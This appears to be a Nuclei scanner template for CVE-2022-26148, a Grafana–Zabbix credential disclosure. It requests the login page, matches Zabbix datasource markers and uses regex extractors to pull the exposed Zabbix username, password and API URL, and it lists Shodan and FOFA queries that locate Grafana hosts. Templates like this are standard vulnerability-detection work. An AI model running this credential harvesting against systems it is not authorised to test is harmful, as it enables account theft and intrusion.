id: CVE-2022-26148

info:
  name: Grafana Zabbix Integration - Credential Disclosure
  author: Geekby
  severity: critical
  description: An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26148
    - https://2k8.org/post-319.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26148
  metadata:
    fofa-query: app="Grafana"
    shodan-query: title:"Grafana"
  tags: cve,cve2022,grafana,zabbix

requests:
  - method: GET
    path:
      - "{{BaseURL}}/login?redirect=%2F"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
        condition: and

      - type: word
        part: body
        words:
          - '"zabbix":'
          - '"zbx":'
          - "alexanderzobnin-zabbix-datasource"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
          - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php'